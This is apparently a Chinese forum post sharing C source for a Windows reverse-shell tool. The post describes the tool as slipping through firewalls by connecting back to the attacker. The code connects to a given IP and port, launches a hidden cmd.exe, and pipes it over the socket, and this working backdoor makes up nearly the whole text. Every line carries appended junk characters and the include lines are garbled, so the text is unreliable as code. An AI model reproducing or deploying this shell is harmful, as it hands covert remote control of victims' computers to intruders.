这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Pj^k
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/* ============================== J\,@Bm|1n{
Rebound port in Windows NT X F0*d~4
By wind,2006/7 >QbI)if`1
===============================*/ mo97GW
#include C 6:p Y-
#include <ZN)
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#pragma comment(lib,"wsock32.lib") J{v6DYhi
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void OutputShell(); [m@e^6F0U
SOCKET sClient; 6M2i?c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _ ;v_L
[NR0] #h
void main(int argc,char **argv) WoN]eO
{ B%?|br
WSADATA stWsaData; (rCPr,@0
int nRet; pD)/-Dgdm
SOCKADDR_IN stSaiClient,stSaiServer; W"DxIy
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if(argc != 3) w^vK7Z
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{ 0o\=0bH&s
printf("Useage:\n\rRebound DestIP DestPort\n"); J0{WqA.P
return; G/^5P5y%@
} 'SXpb?CZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); p5D3J[?N
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?7uStqa
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stSaiClient.sin_family = AF_INET; M 2U@gC|{
stSaiClient.sin_port = htons(0); IT{.^rP
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iKCTYXN1(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S
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{ %[31ZFYB
printf("Bind Socket Failed!\n"); E,nYtn|B
return; d%"@#bB
} {yl/T:Bh&
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stSaiServer.sin_family = AF_INET; _<&K]e@dp
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7xa@wa?!L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >H]|A<9u(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5<>R dLo
{ b&_u
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printf("Connect Error!"); Hr64M0V3B
return; HhT8YH
} ]((
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OutputShell(); &bRxy`ZH
} % /wP2O<
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void OutputShell() c&iK+qvh{
{ -p]`(S%
char szBuff[1024]; AfbA.-
SECURITY_ATTRIBUTES stSecurityAttributes; R2Fh^x
OSVERSIONINFO stOsversionInfo; clU3#8P!=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9jJ/ RX p
STARTUPINFO stStartupInfo; EIl$"^-
char *szShell; >@92K]J
PROCESS_INFORMATION stProcessInformation; w1/T>o
unsigned long lBytesRead; MsVI <+JZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GF,|;)ly
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UEdl"FwM4
stSecurityAttributes.lpSecurityDescriptor = 0; I]j/ ab7>
stSecurityAttributes.bInheritHandle = TRUE; 3qd-,qC
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;),O*Z|"v
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M%dl?9pbq
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3Tte8]0
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #p:jKAc3
stStartupInfo.wShowWindow = SW_HIDE; 1Z{p[\k
stStartupInfo.hStdInput = hReadPipe; %emPSBf@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4m~stDlN
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GetVersionEx(&stOsversionInfo); kl<B*:RqH
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switch(stOsversionInfo.dwPlatformId) I4DlEX
{ H<}Fk9
case 1: X9BBnZ
szShell = "command.com"; U=<.P;+f9
break; lDM~Z3(/b
default: "a_D]D(d5
szShell = "cmd.exe"; i1H80m s
break; F/,<dNJ
} ;<ma K*f\S
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q)i`.mHfFI
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send(sClient,szMsg,77,0); b.u8w2(
while(1) 2ZIY{lBe
{ jm!C^5!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); af5`ktx
if(lBytesRead) _=M'KCL*)
{ sYW)h$p;D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4Xho0lO&
send(sClient,szBuff,lBytesRead,0); wjGjVTtHs
} >^)5N<t?
else 8QgL7
{ .2- JV0
lBytesRead=recv(sClient,szBuff,1024,0); 8@*|T?r
if(lBytesRead<=0) break; 9^h%}>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VX@G}3Ck
} qc4"0Ap'
} .L|ax).D
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return; Y{:/vOj
}